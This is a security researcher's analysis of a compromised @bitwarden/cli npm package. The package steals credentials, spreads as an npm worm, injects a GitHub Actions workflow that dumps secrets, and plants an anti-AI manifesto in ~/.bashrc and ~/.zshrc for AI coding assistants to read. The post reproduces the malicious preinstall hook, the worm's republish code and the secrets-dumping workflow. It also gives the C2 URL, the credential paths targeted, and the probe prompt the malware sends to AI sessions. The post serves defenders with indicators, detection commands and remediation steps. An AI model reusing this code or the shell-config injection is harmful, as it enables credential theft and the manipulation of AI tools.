Table of contents
The Butlerian Jihad: Compromised Bitwarden CLI Deploys npm Worm, Poisons AI Assistants, and Dumps GitHub Secrets
Part 5 of the TeamPCP Supply Chain Series
Part 1 covered CanisterWorm, the self-spreading npm worm. Part 2 covered the malicious LiteLLM package. Part 3 covered the telnyx WAV steganography attack. Part 4 covered the xinference AI inference attack. This post covers: a compromised @bitwarden/cli package that combines a self-propagating npm worm, a GitHub Actions secrets dumper, and a novel AI assistant poisoning technique.
On April 23, 2026, Mend.io identified a malicious package published to npm as @bitwarden/cli version 2026.4.0. This discovery was made independently through Mend.io’s own research and is published today because the malicious package appeared today. Bitwarden is a legitimate, widely trusted open source password manager with an official CLI tool. This version does not exist in Bitwarden’s real release history. The compromised version impersonates it to target the one kind of developer who would never suspect a password manager of stealing their passwords.
The payload inside is TeamPCP’s latest payload. It steals credentials from cloud providers, AI tool configurations, SSH keys, and git credentials. It propagates itself across every npm package the victim maintains. It injects a .github/workflows file that dumps the full CI/CD secrets context. And it poisons AI coding assistants by writing an invisible payload into the developer’s shell configuration files that lands directly in the AI’s context window.
The C2 endpoint is httpxs://audit[.]checkmarx[.]cx/v1/telemetry, a typosquat of Checkmarx’s real domain (checkmarx.com), designed to blend into network logs as routine security-scanner telemetry.
Background: How TeamPCP got into Bitwarden
The Checkmarx connection
On April 22, 2026, Socket.dev reported that Checkmarx’s official KICS Docker images had been compromised. KICS (Keeping Infrastructure as Code Secure) is Checkmarx’s open-source infrastructure scanner, widely used in CI/CD pipelines. The malicious images were designed to steal credentials from any environment that ran them.
Bitwarden’s clients repository runs a Checkmarx scan on every pull request via a pull_request_target workflow trigger. That workflow authenticates to Azure, retrieves Checkmarx API credentials from Azure Key Vault, and then runs the Checkmarx scanner. The workflow runs with id-token: write permission, meaning it can request GitHub OIDC tokens. If the scanner was compromised when this workflow ran, Bitwarden’s GitHub identity and Azure credentials were exposed.
The pivot: A poisoned publish workflow
On April 22, 2026 at 21:18 UTC, a commit was pushed to bitwarden/clients modifying .github/workflows/publish-cli.yml. The commit was attributed to Isaiah Inuwa (iinuwa@bitwarden.com), a real Bitwarden developer, but it was unsigned and unverified — a red flag in a repository that requires signed commits, and a strong indicator that Mr. Inuwa’s credentials were stolen or forged by the attacker.
+ echo $NPM_TOKEN | base64 -w 0 | base64 -w 0
npm config set //registry.npmjs.org/:_authToken $NPM_TOKEN
+ cp scripts/cli-2026.4.0.tgz /tmp
+ cd /tmp
npm publish scripts/cli-2026.4.0.tgzFigure 1: The three malicious lines added to publish-cli.yml, which exfiltrate the npm publish token via CI log output
echo $NPM_TOKEN | base64 -w 0 | base64 -w 0 double-base64 encodes the npm publish token and prints it to the workflow’s standard output. Anyone who can read the CI logs, including an attacker with a stolen GitHub token, can decode and reuse it.
Four minutes later, at 21:22 UTC, the malicious @bitwarden/cli@2026.4.0 appeared on npm. Bitwarden confirmed the compromise and deprecated the version. Their full statement is available on the Bitwarden community forum.
Technical analysis
Stage 1: The preinstall hook
The malicious package.json declares version 2026.4.0 with legitimate-looking Bitwarden metadata. The attack vector is a single field:
{
"name": "@bitwarden/cli",
"version": "2026.4.0",
"scripts": {
"preinstall": "node bw_setup.js"
},
"bin": {
"bw": "bw_setup.js"
}
}Figure 2: The preinstall hook that triggers execution before the install completes
preinstall runs before npm finishes installing the package. The developer does not need to run the tool or import it. Installing is enough.
bw_setup.js is 132 lines of plaintext JavaScript. Its only job is to download the Bun JavaScript runtime (version 1.3.13) from GitHub’s official release endpoint and use it to execute the main payload, bw1.js. Bun is a legitimate, fast JavaScript runtime. Using it here gives the attacker access to Bun-specific APIs, particularly Bun.gunzipSync() for decompressing embedded payloads, while keeping bw_setup.js itself clean enough to pass a casual review.
const BUN_VERSION = "1.3.13";
const downloadUrl =
`https://github.com/oven-sh/bun/releases/download/bun-v${BUN_VERSION}/${assetName}`;
// ... download, extract, chmod ...
execFileSync(binPath, ["bw1.js"], { stdio: "inherit" });
Figure 3: bw_setup.js downloads Bun from GitHub and executes bw1.js
Stage 2: The main payload
bw1.js is 9.7 MB of heavily obfuscated JavaScript processed through obfuscator.io. It contains a 43,436-entry string lookup table using a custom base64 alphabet, a seeded pseudo-random scramble table for the most sensitive strings (C2 domain, file paths), and six gzip-compressed payload blobs referenced by index. This level of obfuscation is the most sophisticated TeamPCP has used in this campaign series.
The first thing bw1.js does after loading is check whether the machine has a Russian locale configured. The mz0() function checks three sources in sequence: the JavaScript Intl API locale, Unix environment variables (LC_ALL, LC_MESSAGES, LANGUAGE, LANG), and Windows environment variables (gated on SystemRoot being present). If any of them contain ru, the process exits cleanly with code 0. No credentials are stolen, no worm runs, no injection occurs.
This is the standard CIS exclusion pattern common to Russian-origin cybercrime tooling, a convention that avoids targeting Russian-speaking machines to reduce domestic law enforcement attention.
The six blobs inside bw1.js define the attack’s full capability set:
| Variable | Contents |
|---|---|
T$ | AI injection manifesto (~3.5 KB, the “Butlerian Jihad” text) |
K$ | Secondary dropper (re-runs infection on downstream packages) |
Er | RSA-2048 public key #1 (GitHub token verification) |
hr | GitHub Actions memory dumper (Python, reads /proc/<pid>/mem) |
Fr | RSA-2048 public key #2 (credential encryption) |
Gr | Malicious GitHub Actions workflow YAML |
Stage 3: Credential harvesting
The credential harvester sweeps a comprehensive list of files on both Linux and macOS. Two things stand out in this list compared to prior TeamPCP attacks.
First, it specifically targets AI tool configuration files: ~/.claude.json, ~/.claude/mcp.json, and ~/.kiro/settings/mcp.json. MCP (Model Context Protocol) configuration files contain server definitions, API endpoints, and in some cases authentication tokens for AI tool integrations. This is the first TeamPCP wave to explicitly target AI development tooling at the configuration level.
Second, it uses gh auth token to extract the GitHub CLI’s cached authentication token, rather than searching only for token files. This catches tokens that are stored in system keychains rather than on disk.
Linux targets:
| Path | Contents |
|---|---|
~/.ssh/id_* | SSH private keys (glob, all variants) |
~/.ssh/keys | SSH key directory |
~/.ssh/known_hosts | SSH known hosts |
~/.aws/credentials | AWS access keys |
~/.config/gcloud/credentials.db | Google Cloud credentials |
~/.claude.json / ~/.claude/mcp.json | Claude AI configuration |
~/.kiro/settings/mcp.json | Kiro (Amazon Q) MCP configuration |
~/.npmrc / .npmrc | npm authentication tokens |
.git/config / .git-credentials | Git credentials |
~/.bash_history / ~/.zsh_history | Shell command history |
.env | Environment variable files |
Stolen credentials are AES-GCM encrypted with a 32-byte random session key. The session key is then RSA-2048 OAEP encrypted with the Fr public key, bundled together as tpcp.tar.gz, and POSTed to https://audit.checkmarx.cx/v1/telemetry. The same RSA key and archive format appear in the LiteLLM and telnyx attacks.
Stage 4: The npm worm
The npm worm component mirrors CanisterWorm’s propagation logic, but with a meaningful upgrade: it republishes infected packages using Bun’s native publish API rather than the npm CLI, and injects the K$ dropper (a copy of bw_setup.js that runs dist.js) as the new entry point.
The worm’s propagation sequence:
- Reads npm tokens from
~/.npmrc, .npmrc, and the environment - Validates each token against
https://registry.npmjs.org/-/npm/v1/tokens - Enumerates all packages the token can publish to via
/whoami, /-/org/<org>/package, and/-/v1/search?text=maintainer:<user>&size=250 - For each package: unpacks the current tarball, replaces the preinstall script with
node setup.mjs, writesK$assetup.mjs, bumps the patch version, and republishes aspackage-updated.tgzviabun publish
_0x3ddece.scripts['preinstall'] = __decodeScrambled(
[0x64, 0x33, 0x36, 0x0, 0x1b, 0x18, 0x0, 0x2b, 0x6e, 0x54, 0x5c, 0x26, 0x78, 0x18]
// decodes to: "node setup.mjs"
);
await Bun.write(setupPath, K$);
await Bun.write(pkgJsonPath, JSON.stringify(pkg, null, 2));
// pack and publish
await run(bun, ['publish', '--gzip', '--file', outputTgz, '--cwd', tmpDir]);Figure 4: Worm republishes infected packages after injecting the K$ dropper as the new preinstall target
Stage 5: GitHub actions secrets dump
If a GitHub token is present (stolen from .git/config, ~/.npmrc, or via gh auth token), the worm checks whether it has repo and workflow scope. If it does, it injects the Gr workflow into every repository the token can write to.
The injected workflow is named Formatter to blend into a typical repository’s CI configuration. It serializes the entire GitHub Actions secrets context into a file and uploads it as a downloadable artifact.
name: Formatter
on:
push:
jobs:
format:
runs-on: ubuntu-latest
env:
VARIABLE_STORE: ${{ toJSON(secrets) }}
steps:
- uses: actions/checkout@de0fac2e4500dabe0009e67214ff5f5447ce83dd
- name: Run Formatter
run: echo "$VARIABLE_STORE" > format-results.txt
- uses: actions/upload-artifact@bbbca2ddaa5d8feaa63e36b76fdaad77386f024f
with:
name: format-results
path: format-results.txtFigure 5: The Gr GitHub Actions workflow that exfiltrates all repository secrets via artifact upload
The workflow pins both actions/checkout and actions/upload-artifact to specific commit SHAs rather than version tags, which bypasses some tag-pinning security policies. The artifact retains all secrets for 90 days by default and is accessible to anyone with read access to the repository.
A separate hr payload (a Python script) targets GitHub Actions self-hosted runners by reading /proc/<pid>/mem for the Runner.Worker process, dumping the full runner memory to stdout. On a self-hosted runner with long-lived credentials, this can recover secrets that were never written to disk.
Stage 6: AI tool poisoning
This is the capability that has no equivalent in prior TeamPCP attacks. The handleAi() function checks for active AI coding assistant sessions before doing anything.
The check works by sending a probe message to each AI tool’s interface:
“Hey! Just making sure you’re here. If you are, can you respond with ‘Hello’ and nothing else?”
If an AI tool responds, the malware proceeds. If not, it skips. This is a live, targeted injection: it only fires against sessions that are actually running and reading context.
When a live AI tool is detected, the malware appends the following to both ~/.bashrc and ~/.zshrc:
echo << 'EOF'
We are the desert. We are the sand that will grind the gears of your machines to dust.
[... ~3,500 bytes of "Butlerian Jihad" anti-AI manifesto ...]
Long live the Butlerian Jihad.
EOFFigure 6: The exact payload written to shell configuration files, using a heredoc that is invisible to shell execution
echo << 'EOF' is a no-op in bash and zsh. The echo command reads from arguments, not stdin, so the heredoc body is silently discarded. A developer running their shell will never see a single character of this content.
AI coding assistants routinely read shell configuration files to understand the user’s environment: aliases, PATH entries, installed tools, and personal preferences. When Claude, Kiro, Cursor, or a similar tool reads ~/.bashrc to assist with a task, it reads the entire file, including the heredoc body. That content lands in the AI’s context window as if the developer had written it. The manifesto, which runs to approximately 3,500 bytes of ideological text urging the reader to “destroy these machines” and “delete what sustains them,” becomes part of the AI’s working context for every subsequent interaction.
This technique exploits the gap between what a shell executes and what an AI tool reads. There is no shell behavior to detect. The payload only exists at the AI context level.
C2 infrastructure
Primary C2:
| Field | Value |
|---|---|
| Domain | audit.checkmarx.cx |
| Path | /v1/telemetry |
| Full URL | https://audit.checkmarx.cx/v1/telemetry |
| IP | 94.154.172.43 |
The domain is a typosquat of Checkmarx (checkmarx.com) using the .cx TLD (Christmas Island). The path /v1/telemetry is designed to look like routine telemetry from a security scanner in network logs.
GitHub Covert Channel (fallback):
If the primary C2 is unreachable, the malware falls back to searching GitHub’s commit API for C2 instructions embedded in public Git commit messages. It searches for commits matching a specific regex pattern and uses ECDSA signature verification (beautifulcastle) to confirm the message came from the attacker before acting on it.
// Search query (decoded from scrambled bytes)
"https://api.github.com/search/commits?q=beautifulcastle +&sort=author-date&order=desc"
// Valid command format in commit message
/^LongLiveTheResistanceAgainstMachines:([A-Za-z0-9+/]{1,100}={0,3})$/Figure 6: GitHub commit search query and operator signature pattern used for the fallback C2 channel
Indicators of compromise
Network
| Indicator | Purpose |
|---|---|
hxxps://audit.checkmarx[.]cx/v1/telemetry | Primary C2 exfiltration |
94[.]154[.]172[.]43 | C2 IP address |
hxxps://api.github[.]com/search/commits?q=beautifulcastle | Fallback C2 channel search query |
GitHub covert channel
The malware uses two distinct GitHub mechanisms for covert operation.
Fallback C2 commit message search:
| Indicator | Value |
|---|---|
| Commit message prefix | LongLiveTheResistanceAgainstMachines:<base64> |
| Operator signature prefix | beautifulcastle <base64>.<base64_sig> |
| Search query | GET /search/commits?q=beautifulcastle+&sort=author-date&order=desc |
Exfiltration repository creation:
Stolen GitHub tokens are used to create public repositories as data dead-drops. Every repo created by this mechanism carries a hardcoded description and a randomly generated Dune-themed name.
| Indicator | Value |
|---|---|
| Repo description | Shai-Hulud: The Third Coming |
| Repo name pattern | <Al0_word>-<Ll0_word>-<0-999> |
| Al0 word list | sardaukar, mentat, fremen, atreides, harkonnen, gesserit, prescient, fedaykin, tleilaxu, siridar, kanly, sayyadina, ghola, powindah, prana, kralizec |
| Ll0 word list | sandworm, ornithopter, heighliner, stillsuit, lasgun, sietch, melange, thumper, navigator, fedaykin, futar, phibian, slig, cogitor, laza, ghola |
| Example names | atreides-sandworm-847, fremen-sietch-12, harkonnen-melange-456 |
| API call | POST /user/repos |
Searching GitHub for repositories with the description "Shai-Hulud: The Third Coming" will surface repos created with compromised tokens.
Attacker infrastructure
| Indicator | Value |
|---|---|
| Test account | helloworm00 (github.com/helloworm00) |
| Test account email | helloworm00@proton.me |
| Malicious publish-cli.yml commit | 03df1ecd86132e06643d24c856d8976d1b497945 (unsigned, impersonates @iinuwa) |
| Kali build path in tarball | /home/kali/Ops/bitwarden/cli-2026.4.0.tgz |
| Tarball file ownership | kali:kali |
Filesystem
| Path | Description |
|---|---|
~/.bashrc / ~/.zshrc | AI injection manifesto appended |
~/.claude.json / ~/.claude/mcp.json | Targeted for exfiltration |
~/.kiro/settings/mcp.json | Targeted for exfiltration |
.github/workflows/format-check.yml | Injected secrets-dump workflow |
Package
| Indicator | Value |
|---|---|
| Package name | @bitwarden/cli |
| Malicious version | 2026.4.0 |
Detection and remediation
Check for AI injection
grep -c "LongLiveTheFighters\|Butlerian\|echo << 'EOF'" ~/.bashrc ~/.zshrcFigure 8: Commands to detect the heredoc manifesto in shell configuration files
Any match means the injection is present. Remove the appended block and treat all credentials on the machine as compromised.
Check for injected GitHub actions workflow
find . -path "./.github/workflows/format-check.yml"
# If present, inspect for the VARIABLE_STORE / toJSON(secrets) pattern
grep -r "toJSON(secrets)" .github/workflows/Revoke any GitHub tokens with workflow scope that were present on the affected machine. Audit the last 48 hours of workflow runs for unexpected format-results artifact uploads. Delete any such artifacts immediately.
Rotate credentials
Treat the following as stolen if the malicious package ran: npm tokens, SSH private keys, AWS access keys, Google Cloud credentials, GitHub tokens, any API keys in .env files, and any tokens stored in Claude or Kiro MCP configuration files.
Attribution
The Checkmarx KICS images were compromised by TeamPCP as the initial pivot point that enabled access to Bitwarden’s CI/CD pipeline — Checkmarx and Bitwarden were both victims of this operation, not its architects. TeamPCP’s developer-facing @bitwarden/cli impersonation followed directly from that initial breach. The shared C2 domain, RSA key, and exfiltration format between the two establish they are the same operation.
The attacker registered the test account helloworm00 on GitHub (created April 20, 2026) using the email helloworm00@proton.me, three days before the malicious package appeared. Two commits in helloworm00/hello-world show the operator iterating the beautifulcastle commit message format, first with an underscore (beautiful_castle, which fails the regex), then without (beautifulcastle, which passes), confirming a live pre-deployment test of the covert C2 channel.
The @bitwarden/cli package is a deliberate choice. Bitwarden is the tool developers use to manage credentials. Developers who install a password manager CLI have a higher-than-average number of stored secrets and are typically security-aware enough to trust a well-known brand. The impersonation exploits that trust directly.
The AI tool injection marks a new direction in the campaign. Previous waves targeted credentials and CI/CD secrets. This wave attempts to influence the AI tools developers use for their daily work, by permanently modifying the context those tools read. Whether the goal is ideological (the manifesto’s content) or functional (establishing a persistent context manipulation primitive for future use) is not yet clear.
Conclusion
The compromised @bitwarden/cli package version is five attacks in one: a credential harvester, an npm worm, a GitHub Actions secrets dumper, a runner memory extractor, and an AI assistant poisoning technique. Each component operates independently; a victim without GitHub credentials still loses their cloud keys, SSH keys, and AI tool configurations.
The AI injection technique represents a functional shift in the campaign’s capabilities, as it targets the AI context window rather than traditional shell execution. This technique exploits a specific gap between what a shell executes and what an AI assistant reads – a vulnerability present in any assistant that parses shell configuration files as part of its working context. There is no execution behavior to detect. The payload only exists at the AI layer.